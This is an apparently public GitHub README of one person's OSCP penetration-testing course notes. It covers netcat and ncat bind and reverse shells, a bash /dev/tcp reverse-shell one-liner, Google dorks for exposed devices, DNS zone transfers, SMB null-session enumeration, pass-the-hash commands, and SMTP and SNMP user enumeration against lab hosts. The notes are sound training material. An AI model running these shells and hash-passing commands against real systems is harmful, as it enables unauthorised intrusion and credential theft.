Why GitHub? Enterprise Explore Marketplace Pricing Search Sign in Sign up

Optixal / **OSCP-PWK-Notes-Public**

Watch 0 Star 9 Fork 3

Code Issues 0 Pull requests 0 Projects 0 Security Insights

📕 Optixal's Offensive Security Certified Professional (OSCP) / Penetration Testing with Kali Linux (PWK) Personal Notes 💻

https://www.offensive-security.com/in…

oscp pwk lab guide cheatsheet notes walkthrough kali linux hacking hacker tools commands pentesting pentest

2 commits **1** branch **0** releases **1** contributor

Branch: **master** New pull request Find File Clone or download

Optixal Added certificate image Latest commit `0db2146` on Jul 1

README.md	Added certificate image	3 months ago

README.md

Optixal's OSCP Notes

OFFENSIVE security

THIS IS TO ACKNOWLEDGE THAT

Shawn Pang

IS CERTIFIED AS AN

OSCP

(Offensive Security Certified Professional)

AND HAS SUCCESSFULLY COMPLETED ALL REQUIREMENTS AND CRITERIA FOR SAID CERTIFICATION THROUGH EXAMINATION ADMINISTERED BY OFFENSIVE SECURITY.

THIS CERTIFICATION, EARNED ON

22nd of June 2018

OFFENSIVE security

OSCP

Shawn Pang

Certified since 06/2018

OS-101-047428

> Try Harder

Welcome

Finding Your Way Around Kali

Find, Locate, and Which

locate

Reads from a database prepared by `updatedb`

```
updatedb
locate sdb.exe
```

which

Returns pathnames of files or links which would be executed in the current environment. It does this by searching the PATH variable.

`which sbd`

find

- `find / -name 'sbd*'`
- `find / -name 'foldername' -type d`
- `find / -name 'filename' -type f`

- `find / -name 'sbd*' -exec file {} \;`

Managing Kali Linux Services

The standard Kali services include ssh, http, sql, which by default would load at boot time, however Kali prevents this by not allowing that, and includes a management system to control their status. Before starting any services, change root password with `passwd`.

SSH Service

Port 22

```
service ssh start
netstat -tunap | grep sshd
service ssh stop
netstat -tunap | grep sshd
```

HTTP Service

Port 80

`service apache2 start`

Default Apache document root is at `/var/www/html`

To change the index page, `echo "Kali Linux rocks" > /var/www/html/index.html`

`service apache2 stop`

Service Management

`service` is a wrapper around existing system init scripts located in `/etc/init.d/` directory. Another way of managing the service, you can directly use the init scripts.

- `/etc/init.d/ssh start`
- `/etc/init.d/ssh stop`

Service Boot Persistence

Services will be started at boot time.

- `update-rc.d ssh enable` or `systemctl enable ssh`
- `update-rc.d ssh disable` or `systemctl disable ssh`

For more granular control of these services, use `rcconf` or `sysv-rc-conf`, both to help simplify and manage the boot persistence of these services.

The Bash Environment

Intro to Bash Scripting

1.3.1.1 - Practical Bash Usage – Example 1

> Files: cisco.sh

Find all of cisco.com's subdomains on their homepage and find their IPs.

Method 1

```
curl -s https://www.cisco.com | grep 'href=' | cut -d'/' -f3 | grep 'cisco.com' | cut -d'"' -f1 | sort -u > test
```

- `curl https://www.cisco.com` - Download cisco.com and output to stdout, silent, hide progress
- `grep 'href='` - Grep all lines with href links
- `cut -d'/' -f3` - Splits lines by slashes and take field number 3 (eg. Field 3 of ...href="http://hello.cisco.com/"... will be hello.cisco.com)
- `grep 'cisco.com'` - Filter out lines with cisco.com as the domain
- `cut -d'"' -f1` - Filter out lines that have trailing quotes
- `sort -u` - Sort and remove all duplicates with `-u` (unique). Compared to `uniq`, `uniq` removes duplicates that are adjacent to each other, eg. a a b a -> a b a

Method 2

```
curl -s https://www.cisco.com | grep -o '[A-Za-z0-9\._-]*\.*cisco\.com' | sort -u
```

- `curl -s https://www.cisco.com` - Download cisco.com and output to stdout, silent, hide progress
- `grep -o '[A-Za-z0-9\._-]*\.*cisco\.com'`
  - `-o` - Output only the matching pattern
  - `[A-Za-z0-9\._-]*` - Match 0 or more alphanumeric character, including ".", "_" and "-"
  - `\.` - URL dot
  - `*` - Non-regex, grep wildcard in this case, to match domains that end with cisco.com (eg. static-static.com)
  - `\.com` - URL top level domain
- `sort -u` - Sort and remove all duplicates with `-u` (unique)

Other Methods

- `curl https://www.cisco.com | grep -o -P '[\w\._-]+\.[\w\._-]*cisco\.com' | sort -u` - Equivalent to method 2
- `curl https://www.cisco.com | grep -o -E '\w+\.cisco\.com' | sort -u` - Shortcut, less accurate as it doesn't match "www.static-cisco.com"
- `wget -q -O - https://www.cisco.com | ...` - Wget instead of curl, quiet, and output to stdout

Final

`for url in $(curl -s https://www.cisco.com | grep -o '[A-Za-z0-9\._-]*\.*cisco\.com' | sort -u); do host $url | grep 'has address' | cut -d' ' -f4; done`

1.3.1.2 - Practical Bash Usage – Example 2

```
cat access_log.txt | cut -d' ' -f1 | sort | uniq -c | sort -urn | head
cat access_log.txt | grep '208.68.234.99' | cut -d'"' -f2 | sort | uniq -c | sort -urn | head
cat access_log.txt | grep '208.68.234.99' | grep '/admin' | sort | uniq -c
# cat access_log.txt | grep '208.68.234.99' | grep '/admin' | awk '{print $9}' | sort | uniq -c
```

Data Manipulation Tools Summary

`cut`

- `-d` - Delimiter
- `-f` - Field number
  - `-f4` - Field 4
  - `-f1,4` - Field 1 and 4
  - `-f2-5` - Fields 2 to 5
  - `-f-7` - Fields 1 to 7

    - `-f3-` - Fields 3 and beyond

`sort` and `uniq`

- `sort -u` - Sort and remove all duplicates (unique)
- `uniq` - Remove duplicates adjacent to each other
- `uniq -c` - Remove duplicates adjacent to each other and count
- `uniq -u` - Show unique items only (rarely use)
- `sort | uniq -c | sort -urn` - Count occurence and sort them from most common to least

`grep`

- `grep [pattern]` - Print lines only with matching pattern, can handle regular regex, no `+`, no shorthands, `*` on its own means grep wildcard
- `grep -arni [pattern]` - Process binaries as text, recursive, line prefixed, ignore case
- `grep -arni [pattern] --include \*.md` - Process binaries as text, recursive, line prefixed, ignore case, and only from markdown files
- `grep -E [pattern]` - Extended regex, `+`, shorthands, but cannot put shorthands in brackets
- `grep -P [pattern]` - Perl/Python regex, `+`, shorthands, can put shorthands in brackets

Windows counterpart of `grep` is `find`, eg. `netstat -na | find "4444"`

`tr`

- `medusa -d | grep \+ | cut -d' ' -f6 | cut -d. -f1 | tr '\n' ' '` - Translates/substitutes all line breaks with commas, converting multiple lines into a single line separated with spaces

`for`

```
IFS=$'\n' # if the list file has spaces, the for loop will split it, so you shud use internal field separa
for ip in $(cat list); do
  echo "$ip"
done
```

The Essential Tools

Netcat/ `nc`

Connecting to a TCP/UDP Port

`nc -nv [ip] [port]` - `-n` means do no resolve hostname, `-v` more verbose

Start Mercury mail server on Win 7 machine.

- 25 - SMTP
- 110 - POP3
- 143 - IMAP

```
➜  lab-connection nc -nv 192.168.1.23 25
(UNKNOWN) [192.168.1.23] 25 (smtp) open
220 localhost ESMTP server ready.
HELP
214-Recognized SMTP commands are:
214-    HELO    EHLO    MAIL    RCPT    DATA    RSET
214-    AUTH    NOOP    QUIT    HELP    VRFY    SOML
214 Mail server account is 'Maiser'.
```

```
^C
➜  lab-connection nc -nv 192.168.1.23 110
(UNKNOWN) [192.168.1.23] 110 (pop3) open
+OK <87219363.8932@localhost>, POP3 server ready.
^C
➜  lab-connection nc -nv 192.168.1.23 110
(UNKNOWN) [192.168.1.23] 110 (pop3) open
+OK <87253870.12354@localhost>, POP3 server ready.
USER bob
+OK bob is known here.
PASS bob
-ERR Username or password is invalid or incorrect.
QUIT
+OK localhost Server closing down.
➜  lab-connection nc -nv 192.168.1.23 143
(UNKNOWN) [192.168.1.23] 143 (imap2) open
* OK localhost IMAP4rev1 Mercury/32 v4.52 server ready.
^C
➜  lab-connection
```

Listening on a TCP/UDP Port

On Win 7, move nc.exe to C:\Windows.

```
# Win 7
C:\Users\Offsec>nc -nlvp 4444
listening on [any] 4444
connect to [192.168.1.23] from <UNKNOWN> [192.168.1.23] 59460
hi
```

```
# Kali
➜  lab-connection nc -nv 192.168.1.23 4444
```

```
(UNKNOWN) [192.168.1.23] 4444 (?) open
hi
```

Win 7 is the server, `-nlvp 4444` no lookup listening (server) verbose bound to port 4444. Kali is the client connecting to it on port 4444 with `-nv`.

Transferring Files with Netcat

```
# Win 7
nc -nlvp 446 > incoming.exe
```

```
# Kali
➜  lab-connection nc -nv 192.168.1.23 4446 < /usr/share/windows-binaries/wget.exe
(UNKNOWN) [192.168.1.23] 4446 (?) open
➜  lab-connection
```

```
# Win 7
incoming.exe -h
```

Remote Administration with Netcat

2.1.4.1 - Netcat Bind Shell Scenario

Alice -> Firewall -> Public IP -> Internet -> Public IP -> Bob

```
# Win 7
nc -lvp 4446 -e cmd.exe
```

```
# Kali
nc -nv 192.168.1.23 4446

C:\Users\Offsec>ipconfig
...
```

2.1.4.2 - Reverse Shell Scenario

```
# Win 7
nc -nlvp 4446
```

```
# Kali
nc -nv 192.168.1.23 4446 -e /bin/bash
```

```
# Win 7
whoami
root
```

Netcat as a Port Monitor

```
watch -n1 nc -w1 -nvz 192.168.1.23 123
# -w1: timeout 1 sec, -n: no reverse lookup, -v: verbose, -z: no IO, act as a scanner
```

`ncat`

Reverse Shell

```
# Kali
ncat -lnvp 4444 --allow [win ip] --ssl
# Win
ncat -nv [kali ip] 4444 -e cmd.exe --ssl
```

Bind Shell

```
# Win
ncat -lnvp 4444 -e cmd.exe --allow [kali ip] --ssl
# Kali
ncat -nv [win ip] 4444 --ssl
```

The `ncat` in the Windows VM produces many errors, even after updating. To update, download "nmap-7.60-win32.zip" and reinstall the nmap suite, which includes the latest version of ncat. Be warned, errors will still occur.

Shells Reference

Upgrade a half shell to full interactive shell on a compromised Linux machine:

```
# On victim
python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl-z
# On attacker
echo $TERM # note down
stty -a # note down rows and cols
stty raw -echo # this may be enough
fg
```

```
# On victim
reset
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116
```

Resources:

- Upgrade to full interactive shell: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
- Reverse Shell Cheatsheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    - `bash -i >& /dev/tcp/10.0.0.1/8080 0>&1`

Note: Netcat (`nc`) OpenBSD does not support `-e` . Netcat versions: GNU, OpenBSD, Traditional, Netcat6

Wireshark

Network -> Capture Filters -> Capture Engine -> Display Filters

Capture filters are very useful as they can selectively capture packets that match a certain criteria. The capture filter syntax is different from the usual display filter syntax. An example would be `host 8.8.8.8 and tcp port 80` , to capture packets that involve 8.8.8.8 and tcp port 80 only. Display filters on the other hand does not affect the packet capturing process, it just applies a filter to already captured packets, example `tcp.port == 80` . If you notice, wireshark capture filters are the same as tcpdump capture filters.

Capture filters can be specified in Capture > Options > Capture filter for selected interface, or in Capture > Capture Filters

Follow TCP stream is very useful as in can display the client and server communication in formatted plaintext. It works on web traffic, nc connections (shells, mail, unencrypted connections), etc.

Typical web connection traffic:

1. ARP broadcast looking for the default gateway
2. ARP unicast reply providing the MAC address of the gateway
3. DNS A (IPv4) forward lookup query
4. DNS AAAA (IPv6) forward lookup query
5. DNS A response received
6. DNS AAAA response received
7. 3-way handshake on port 80
8. Initial protocol negotiation in HTTP GET request

`tcpdump`

```
tcpdump -r password_cracking_filtered.pcap | awk '{print $3}' | cut -d. -f-4 | sort | uniq -c | sort -urn
tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap # Filter by src host
tcpdump -n dst host 172.16.40.10 -r password_cracking_filtered.pcap # Filter by dst host
tcpdump -n port 81 -r password_cracking_filtered.pcap # Filter by port
tcpdump -nXr password_cracking_filtered.pcap # Hex
```

Near the bottom of password_cracking_filtered.pcap, after many 401 Authorization Required bad attempts, a 301 occurs after using the following credentials:

```
GET //admin HTTP/1.1
Host: admin.conglomerate.com:81
User-Agent: Teh Forest Lobster
Authorization: Basic YWRtaW46bmFub3RlY2hub2xvZ3kx
  Credentials: admin:nanotechnology1
```

TCP Flags

14th byte of the TCP header

```
CEUAPRSF
WCRCSSYI
REGKHTNN
```

Apparently, HTTP requests and responses have TCP flags PSH and ACK enabled. To calculate ACK and PSH flags in decimal to use in tcpdump filter:

```
CEUAPRSF
00011000 = 24 in decimal
```

Online reference: http://rapid.web.unc.edu/resources/tcp-flag-key/

Finally, to filter out the HTTP packets, execute the following command, specifying that the 14th byte in the packets displayed should have ACK/PSH flags set:

`tcpdump -A -n 'tcp[13] = 24' -r password_cracking_filtered.pcap`

Passive Info Gathering

Open Web Information Gathering

Google Hacking

- `filetype`
- `inurl`
- `intitle`
- `intext`

Powerpoint files with the phrase "penetration testing" in it, from microsoft.com

```
site:microsoft.com filetype:ppt "penetration testing"
```

VNC Viewer

```
intitle:"VNC viewer for Java"
```

Mobotix IPcam (admin creds - admin:meinsm)

```
inurl:"/control/userimage.html"
```

phpMyAdmin No Authentication Databases

```
inurl:.php? intext:CHARACTER_SETS,COLLATIONS intitle:phpmyadmin
```

N3tShell Compromised Websites

```
intitle:"-N3t" filetype:php undetectable
```

Default Pages of Devices

```
intitle:"NetBotz Applicance" "OK" -filetype:pdf
```

Hardware with Known Vulnerabilities

```
intitle:"SpeedStream Router Management Interface"
```

Web Accessible, Open Cisco Routers

`inurl:"level/15/exec/-/show"`

Exposed Frontpage Credentials

`"# -FrontPage-" filetype:pwd inurl:(service | authors | administrators | users)`

Email Harvesting

`theharvester -d cisco.com -b google`

Additional Resources

Netcraft

https://www.netcraft.com/

Find all subdomains

`*.cisco.com`

Whois

```
whois cisco.com
whois 8.8.8.8
```

Recon-ng

```
recon-ng
use recon/domains-contacts/whois_pocs # Contact details from whois results
use recon/domains-vulnerabilities/xssed # Find xss vulnerabilities using xssed.com
use recon/domains-hosts/google_site_web # Automatically find subdomains using Google search
```

Active Information Gathering

4.1 DNS Enumeration

Interacting with a DNS Server

`host -t [type] [domain]`

```
host -t ns conglomerate.com # dns nameservers
host -t mx conglomerate.com # mailservers
```

Automating Lookups

Forward Lookup

`host [subdomain]`

```
host www.conglomerate.com # get ip of www.conglomerate.com
host idontexist.conglomerate.com # attempt to get ip of non existant subdomain
```

Forward Lookup Brute Force

```
root@kali:~# echo www > list.txt
root@kali:~# echo ftp >> list.txt
root@kali:~# echo mail >> list.txt
root@kali:~# echo owa >> list.txt
root@kali:~# echo proxy >> list.txt
root@kali:~# echo router >> list.txt
root@kali:~# for ip in $(cat list.txt); do host $ip.conglomerate.com | grep 'has address'; done
www.conglomerate.com has address 38.100.193.76
mail.conglomerate.com has address 38.100.193.84
router.conglomerate.com has address 38.100.193.71
```

Reverse Lookup Brute Force

`host [ip]`

With a rough idea of the target's subnet range, perform a reverse lookup brute force.

```
root@kali:~/Downloads# for ip in $(seq 1 254); do host 38.100.193.$ip | grep -v 'not found' | grep conglom
66.193.100.38.in-addr.arpa domain name pointer syslog.conglomerate.com.
69.193.100.38.in-addr.arpa domain name pointer beta.conglomerate.com.
70.193.100.38.in-addr.arpa domain name pointer ns1.conglomerate.com.
72.193.100.38.in-addr.arpa domain name pointer admin.conglomerate.com.
73.193.100.38.in-addr.arpa domain name pointer mail2.conglomerate.com.
76.193.100.38.in-addr.arpa domain name pointer www.conglomerate.com.
77.193.100.38.in-addr.arpa domain name pointer vpn.conglomerate.com.
80.193.100.38.in-addr.arpa domain name pointer ns2.conglomerate.com.
84.193.100.38.in-addr.arpa domain name pointer mail.conglomerate.com.
85.193.100.38.in-addr.arpa domain name pointer snmp.conglomerate.com.
89.193.100.38.in-addr.arpa domain name pointer siem.conglomerate.com.
```

```
90.193.100.38.in-addr.arpa domain name pointer ns3.conglomerate.com.
91.193.100.38.in-addr.arpa domain name pointer router.conglomerate.com.
```

DNS Zone Transfers

If TCP port 53 is open, it may indicate that DNS zone transfers work.

`host -l [domain] [nameserver]` or `host -t axfr [domain] [nameserver]`

Failed Zone Transfer

```
root@kali:~/Downloads# host -l conglomerate.com ns1.conglomerate.com
Using domain server:
Name: ns1.conglomerate.com
Address: 38.100.193.70#53
Aliases:

Host conglomerate.com not found: 5(REFUSED)
; Transfer failed.
```

Successful Zone Transfer

```
root@kali:~/Downloads# host -l conglomerate.com ns2.conglomerate.com
Using domain server:
Name: ns2.conglomerate.com
Address: 38.100.193.80#53
Aliases:

conglomerate.com name server ns1.conglomerate.com.
conglomerate.com name server ns2.conglomerate.com.
conglomerate.com name server ns3.conglomerate.com.
admin.conglomerate.com has address 38.100.193.83
beta.conglomerate.com has address 38.100.193.88
fs1.conglomerate.com has address 38.100.193.82
intranet.conglomerate.com has address 38.100.193.87
mail.conglomerate.com has address 38.100.193.84
mail2.conglomerate.com has address 38.100.193.73
ns1.conglomerate.com has address 38.100.193.70
ns2.conglomerate.com has address 38.100.193.80
ns3.conglomerate.com has address 38.100.193.90
router.conglomerate.com has address 38.100.193.71
siem.conglomerate.com has address 38.100.193.89
snmp.conglomerate.com has address 38.100.193.85
support.conglomerate.com has address 173.246.47.170
syslog.conglomerate.com has address 38.100.193.66
test.conglomerate.com has address 38.100.193.67
vpn.conglomerate.com has address 38.100.193.77
www.conglomerate.com has address 38.100.193.76
www2.conglomerate.com has address 38.100.193.79
```

Automating Zone Transfers

```bash
#!/bin/bash

if [ -z "$1" ]; then
    echo "Usage: $0 [domain name]"
    exit 1
fi

for server in $(host -t ns $1 | cut -d' ' -f4); do
    host -l $1 $server | grep 'has address'
done
```

Relevant Tools in Kali

4.1.6.1 - `dnsrecon`

- `dnsrecon -d conglomerate.com`
- `dnsrecon -d conglomerate.com -t axfr`
- `dnsrecon -r 38.100.193.0/24 | grep conglomerate.com`

4.1.6.1 - `dnsenum`

- `dnsenum zonetransfer.me`

Port Scanning

TCP Connect / SYN Scanning

4.2.1.1 - Connect Scanning

Relies on three-way/TCP handshake mechanism (syn, syn/ack, ack). Connect scan involves completing this handshake, if it is completed, port is open.

```
nc -nvv -w 1.5 -z 10.0.0.19 3388-3390
(UNKNOWN) [10.0.0.19] 3390 (?) : Connection refused
(UNKNOWN) [10.0.0.19] 3389 (?) open
(UNKNOWN) [10.0.0.19] 3388 (?) : Connection refused
sent 0, rcvd 0
```

- `-n` - no reverse lookup

- `-vv` - more verbose
- `-w` - timeout
- `-z` - zero IO mode, used for scanning

4.2.1.2 - "Stealth" SYN Scanning

Send SYN packet without completing the TCP handshake (without sending final ack back). If a syn/ack is sent back, port is open.

Early and primitive firewalls logged completed TCP sessions, making syn scanning bypass firewall logging. This is no longer true with modern firewalls, and the term "stealth" is misleading. Users might believe their scans will somehow not be detected, when in fact, they will be.

UDP Scanning

UDP stateless, no three-way handshake. If no reply is sent back, the UDP port is open. If it is closed, an ICMP port unreachable packet should be sent back.

UDP scans is often unreliable, as firewalls may drop ICMP packets / not send back anything at all, leading to false positives, and you will regularly see UDP port scans showing all UDP ports open.

People often forget to scan for UDP services, and stick only to TCP scanning, thereby seeing only half of the equation.

```
nc -unvv -w 1.5 -z 192.168.1.23 160-165
(UNKNOWN) [192.168.1.23] 165 (?) : Connection refused
(UNKNOWN) [192.168.1.23] 164 (cmip-agent) : Connection refused
(UNKNOWN) [192.168.1.23] 163 (cmip-man) : Connection refused
(UNKNOWN) [192.168.1.23] 162 (snmp-trap) : Connection refused
(UNKNOWN) [192.168.1.23] 161 (snmp) open
(UNKNOWN) [192.168.1.23] 160 (?) : Connection refused
```

Port Scanning with Nmap

There is a list of nearly all ports, associated services, and probability of them being open found at `/usr/share/nmap/nmap-services`.

Tabbing while a scan is in progress displays the progress.

4.2.4.1 - Accountability for Your Traffic

Packet and byte counter using iptables

```
#!/bin/bash

# Reset counters and iptables rules
iptables -Z && iptables -F

# Measure incoming traffic from lab machine
iptables -I INPUT 1 -s 192.168.1.23 -j ACCEPT

# Measure outgoing traffic to lab machine
iptables -I OUTPUT 1 -d 192.168.1.23 -j ACCEPT
```

`watch -n 1 iptables -nvL`

4.2.4.2 - Network Sweeping

Default Sweep

`nmap -sn 192.168.1.0/24` or `nmap -sP 192.168.1.0/24`

Output Greppable

```
nmap -T4 -n -sn -oG - 192.168.1.0/24 | grep Up | cut -d' ' -f2
```

Specific Port

```
nmap -T4 -n -sn -p 80 -oG - 192.168.1.0/24
```

Aggressive Connect Scan on Top Ports

```
nmap -sT -A --top-ports=20 192.168.1.0/24 -oG -
```

OS Fingerprinting

Based on the slight implementation differences of the TCP/IP stack (default TTL, TCP window size, etc.) within Operating Systems.

```
nmap -O 192.168.1.23
```

Banner Grabbing/Service Enumeration

```
nmap -sV -sT 192.168.1.23
```

An aggressive `-A` scan includes both `-sV`, `-O`, script scanning and traceroute: `nmap -A 192.168.1.23`

Favourite Nmap Commands

```
nmap -T4 -n -sC -sV -p- -oN nmap-versions --script='*vuln*' [ip]
```

`unicornscan` + `nmap` = `onetwopunch`

Unicornscan supports asynchronous scans, speeding port scans on all 65535 ports. Nmap has powerful features that unicornscan does not have. With onetwopunch, unicornscan is used first to identify open ports, and then those ports are passed to nmap to perform further enumeration.

```
./onetwopunch.sh -t targets.txt -i tap0 -n '-T4 -n -sC -sV -oN nmap-versions --script=*vuln*'
```

Note, when using wildcards in nmap's NSE script parameter in onetwopunch, do not include quotes.

Nmap Scripting Engine (NSE)

Found within `/usr/share/nmap/scripts`

Common services, SMB, SMTP, SNMP

`nmap --script=[script] 192.168.1.23`

SMB Enumeration

Scanning for the NetBIOS Service

SMB NetBIOS service listens on TCP ports 139 and 445, as well as several UDP ports.

`nmap -p 139,445 --open -oG smb.txt 192.168.1.0/24`

`nbtscan -r 192.168.1.0/24`

Null Session Enumeration

Vulnerable SMB Versions

Vulnerable versions:

- Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default
- Windows 2003, and XP SP2 onwards - NOT VULNERABLE: Null Sessions can't be created default
- Most Samba (Unix) servers

List of SMB versions and corresponding Windows versions:

- SMB1 – Windows 2000, XP and Windows 2003.
- SMB2 – Windows Vista SP1 and Windows 2008
- SMB2.1 – Windows 7 and Windows 2008 R2
- SMB3 – Windows 8 and Windows 2012.

Empty LM and NTLM hashes:

- Empty LM Hash: `aad3b435b51404eeaad3b435b51404ee`
- Empty NT Hash: `31d6cfe0d16ae931b73c59d7e0c089c0`

`rpcclient`

Manually probe a SMB server

```
$ rpcclient -U '' [ip]
Password:
rpcclient $> srvinfo # operating system version
rpcclient $> netshareenumall # enumerate all shares and its paths
rpcclient $> enumdomusers # enumerate usernames defined on the server
rpcclient $> getdompwinfo # smb password policy configured on the server
```

Apparently the rpcclient version in OffSec VM does not work well with creating null sessions. A downgrade to samba-4.5.15 is required: https://forums.offensive-security.com/showthread.php?12943-Found-solution-to-enum4linux-rpcclient-problem-NT_STATUS_INVALID_PARAMETER&highlight=NT_STATUS_INVALID_PARAMETER Place the export commands into a script and source it before using rpcclient to use the downgraded version, or place it in bashrc. NOTE, once downgraded, pth-winexe doesn't seem to work.

`enum4linux`

Wrapper around smb programs like `rpcclient` to automate enumerating an SMB server. Produces tons of results when a null session is successful. NOTE: Make sure to downgrade rpcclient before using.

```
enum4linux -a 192.168.1.23
enum4linux -u 'guest' -p '' -a 192.168.1.23
```

`CrackMapExec`

Works perfectly, list shares and permissions, enum users, disks, code execute and run modules like mimikatz. Hashes work.

```
crackmapexec -u 'guest' -p '' --shares 192.168.1.23
crackmapexec -u 'guest' -p '' --rid-brute 4000 192.168.1.23
crackmapexec -u 'guest' -p '' --users 192.168.1.23
crackmapexec smb 192.168.1.0/24 -u Administrator -p P@ssw0rd
crackmapexec smb 192.168.1.0/24 -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -M mimi
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -x whoa
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B --exec-
```

`smbmap`

Works well for listing and downloading files, and listing shares and permissions. Hashes work. Code execution don't work.

```
smbmap -u '' -p '' -H 192.168.1.23 # similar to crackmapexec --shares
smbmap -u guest -p '' -H 192.168.1.23
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H 192.168.1.
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H 192.168.1.
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H 192.168.1.
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H 192.168.1.
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H 192.168.1.
```

`smbclient`

Access SMB shares interactively, seems to work with anonymous access. Hashes don't work.

```
smbclient //192.168.1.23/wwwroot
smbclient //192.168.1.23/C$ WIN20082017 -U Administrator
smbclient //192.168.1.23/C$ A433F6C2B0D8BB92D7288ECFFACFC7CD -U Administrator --pw-nt-hash # make sure to
```

WARNNIG, be careful when using the `get` command to download absolute path files from the remote system. Eg. `get /etc/passwd` will download the passwd file and ovewrite YOUR `/etc/passwd`. Use `get /etc/passwd /tmp/passwd` instead.

To download recursively:

```
# Within smbclient, download everything recursively:
mask ""
recurse ON
prompt OFF
```

```
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *
```

pth-winexe

Works great sometimes. Can open a windows cmd shell.

```
pth-winexe -U administrator%WIN20082017 //192.168.1.23 cmd # using a plaintext password
pth-winexe -U Administrator%A433F6C2B0D8BB92D7288ECFFACFC7CD //192.168.1.23 cmd # ntlm hash encrypted with
pth-winexe -U domain/user%A433F6C2B0D8BB92D7288ECFFACFC7CD //192.168.1.23 cmd # domain user
pth-winexe -U Administrator%8F49412C8D29DF02FB62879E33FBB745:A433F6C2B0D8BB92D7288ECFFACFC7CD //192.168.1.
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:A433F6C2B0D8BB92D7288ECFFACFC7CD //192.168.1.
# or
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
pth-winexe -U Administrator% //192.168.1.23 cmd
```

psexec Metasploit

`exploit/windows/smb/psexec`

xfreerdp Remote Desktop Protocol

Before using `xfreerdp`'s `/pth` feature, you have to build and install latest version. Apparently updating and upgrading with `apt-get install freerdp-x11` only gets you `FreeRDP version 1.1.0-beta1`. The latest already 2+. Source and compilation guide: https://nullsec.us/rdp-sessions-with-xfreerdp-using-pth/ Still does not work after updating though.

```
xfreerdp /u:testing /d:thinc /pth:31d6cfe0d16ae931b73c59d7e0c089c0 /v:192.168.1.23
```

Nmap SMB NSE Scripts

- List all smb nse scripts - `ls -la /usr/share/nmap/scripts/smb*`
- Check smb and OS using nse script - `nmap -p 139,445 --script=smb-os-discovery 192.168.1.23`
- Check certain smb vulnerability against all hosts - `nmap -iL hosts -Pn -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1`
- Enumerate smb usernames (similar to `enumdomusers` with `rpcclient`) - `nmap -p 139,445 --script=smb-enum-users [ip]`
- Brute force smb creds - `nmap -p 139,445 --script=smb-brute [ip]`
- Check many common smb vulnerabilities against a host - `nmap -p 139,445 --script=smb*-vuln* --script-args=unsafe=1 [ip]`

Apparently if there are more than 10 hosts in the hosts input file, nmap won't scan them when using NSE.

Nmap removed the `smb-check-vulns` script with individual scripts: https://forums.offensive-security.com/showthread.php?4008-04-3-3-Changes-to-quot-Nmap-NSE-Scripts-quot

Vulscan is a NSE scripting module that enhances nmap and turns it into a vulnerability scanner: https://github.com/scipag/vulscan

SMTP Enumeration

Important commands include:

- `VRFY` - Asks the server to verify an email address
- `EXPN` - Asks the server for the membership of a mailing list

Abuse these to verify existing users on a mail server.

```
$ nc -C [ip] 25 # remember to use `-C` in `nc`! This will force nc to send a CRLF (`\r\n`) as line-ending.
220 dj.acme.local Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at  Mon, 19 Mar 2018 07:27:59
VRFY barry
250 2.1.5 <barry@barry> # user exists
VRFY administrator
550 5.1.1 administrator... User unknown # user does not exist
VRFY bob
252 2.1.5 Cannot VRFY user, but will take message for <bob@dj.acme.local> # servers configured properly to

EXPN postmaster
250 2.1.5 root <root@barry>
EXPN root
250 2.1.5 root <root@barry>
```

Use intel gathered from the passive information gathering stage to generate a users list to `VRFY` against the SMTP servers.

Although, SMTP configurations allowing for this type of enumeration is uncommon, there are many services and protocols with overly verbose output messages, which at times, allow us to find out interesting information, such as whether a user exist in their system using bruteforce.

Resources:

- https://pentestlab.blog/tag/expn/
- A list of unix usernames: `/usr/share/metasploit-framework/data/wordlists/unix_users.txt`.

SNMP Enumeration

UDP Port 161

Simple Network Management Protocol. Based on UDP, susceptible to IP spoofing, and replay attacks. SNMP protocols 1, 2, and 2c offer no traffic encryption, meaning SNMP information and credentials can be easily intercepted over a local network. Traditional SNMP protocols also have weak authentication schemes, and are commonly left configured with default public and private community strings.

MIB Tree

SNMP Management Information Base

- Branches - Organizations or network functions
- Leaves - Final endpoints, specific variable values that can be probed

Scanning for SNMP

Finding SNMP services with `nmap`

`nmap -sU -p 161 --open [ip]`

Finding SNMP services with `onesixtyone`

Common community strings:

- `public`
- `private`
- `manager`

```
echo public > community
echo private >> community
echo manager >> community
```

```
for ip in $(seq 1 254); do echo 10.11.1.$ip; done > ips
onesixtyone -c community -i ips
```

Windows SNMP Enumeration Example

We can probe and query the SNMP service, with at least the read-only community string, in most cases, `public`. SNMP services offer a wealth of information.

- `snmp-check -c public -v 1 [ip]` - Enumerate entire MIB tree, and outputs in a very friendly, human-readable manner
- `snmpwalk -c public -v 1 [ip]` - Enumerate entire MIB tree
- `snmpwalk -c public -v 1 [ip] [oid]` - Enumerate specific information

MIB OIDs:

- `1.3.6.1.2.1.25.1.6.0` - System Processes
- `1.3.6.1.2.1.25.4.2.1.2` - Running Programs
- `1.3.6.1.2.1.25.4.2.1.4` - Processes Path
- `1.3.6.1.2.1.25.2.3.1.4` - Storage Units
